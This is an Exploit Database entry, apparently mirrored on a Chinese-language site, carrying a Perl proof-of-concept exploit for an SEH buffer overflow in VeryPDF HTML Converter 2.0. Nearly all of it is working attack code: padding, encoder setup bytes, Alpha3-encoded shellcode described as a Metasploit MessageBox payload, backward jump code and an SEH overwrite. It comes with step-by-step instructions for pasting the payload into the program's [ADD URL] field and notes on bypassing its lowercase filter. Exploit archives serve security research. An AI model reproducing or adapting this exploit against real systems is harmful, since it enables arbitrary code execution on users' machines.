VeryPDF HTML Converter 2.0 – Local Buffer Overflow (SEH/ToLower() Bypass)

Exploit Database
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作者： Robbie Corley

日期： 2015-09-07
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/38095/

#*************************************************************************************************************

# Exploit Title: VeryPDF HTML Converter v2.0 SEH/ToLower() Bypass Buffer Overflow

# Date: 9-6-2015

# Target tested: Windows 7 (x86/x64)

# Software Link: http://www.verypdf.com/htmltools/winhtmltools.exe

# Exploit Author: Robbie Corley

# Contact: c0d3rc0rl3y@gmail.com

# Website:

# CVE:

# Category: Local Exploit

# Description:

# The [ADD URL] feature is vulnerable to an SEH based buffer overflow.

# This can be exploited by constructing a payload of ascii characters that contain our payload

# and pasting it into the textbox.The program's textbox converts ALL pasted data to lowercase so I

# took advantage of the wonderful Alpha3 tool to encode the shellcode into a numerical format to bypass the filter.

# I also used a null terminated SEH address to gain universal exploitation across all current Windows OSes.

# So, I took a rather unconventional approach and placed the shellcode in the buffer itself since it could

# not execute after the buffer (after SEH) due to the null byte cutting off the remaining pieces of the string.

# Instructions:

# Run this exploit as-is, open the created 'sploitit.txt' file, copy and paste into the [ADD URL] textbox

# Hit [OK] and enjoy your soon-to-follow messagebox!

#**************************************************************************************************************

# placing shellcode in top of buffer padding since we have a null terminated string

$zero = pack("C*", 0xD);

my $buff = "\x90" x 2700; #NSEH is at 3704.we start low to give room for everything else.

my $seh = "\x05\x25\x40".$zero;

$nseh = "\xeb\xe1\x90\x90";# jump backwards to shellcode ;)

$filler="\x90" x 122;

#0018E924 66:05 9903 ADD AX,399

#0018E928 04 29ADD AX,29

#0018E92A 04 03ADD AX,3

#10 bytes

$encodersetup="\x66\x05\x99\x03\x04\x24\x04\x10";

$encodersetup .= "\x8b\xc8";

#python ALPHA3.py x86 lowercase ECX --input="c:\shellmsg.bin"

#Windows MessageBox contructed using Metasploit & Alpha3

#637 bytes

$shellcode=

"j314d34djq34djk34d1411q11q7j314d34dj234dkmq502dq5o0d15upj98xmfod68kfnen488m56kj4".

"0ek53knd00192g0dl428l0okn5503cnk6b5bm844nb4k5x70o0mkoc60l9l03c3fje7embj4k9lx1x9k".

"10j2j2ngne63og74ob708do87cm3jxm9o3j05x0k628x50910b8e5049o84e01oxk39d5841k8jej8kk".

"nxo4ogo5l07129215f7f3fo0989459kxnb2b78jg5gn8m4l21e6g823x5x680c4b91n0ox1370n0l1l4".

"10jfmk941b9f1k09n57g281gk414nb4kle92542994293e1dnf224e7b920g0b7go3735cm87f0d4c8f".

"9d1d3c3b24obn8ob498k1d0e7bke846elc507594jb2xjb9e6d3g8b7gl9459819jclb5b9bjg1cn935".

"6x7x8x7844oe231809742494ndo43d040cn13fmb43k0611f0952kk3g32l54fkd0b6xm15xjkj3636k".

"nb9e1dj2n16e3b9565lk6f2bmb7b5e0c0d29l13ekbk94842kd51n17d327000803223ncm9101gl";

$smallpads = "\x90" x 347;

##section 2 | total 10 bytes

##Perform a long jump backwards up the stack to reach our payload ;)

$jumpcode="\x8B\xC1\x90\x90"; #MOV EAX,ECX

$jumpcode .= "\x66\x05\x55\x05"; # ADD AX,555 --> We do AX so we don't have to worry about NULLS ;)

$jumpcode .= "\xFF\xe0"; #JMP EAX

open(myfile,'>sploitit.txt');

print myfile $buff.$encodersetup.$shellcode.$smallpads.$jumpcode.$nseh.$seh;

close (myfile);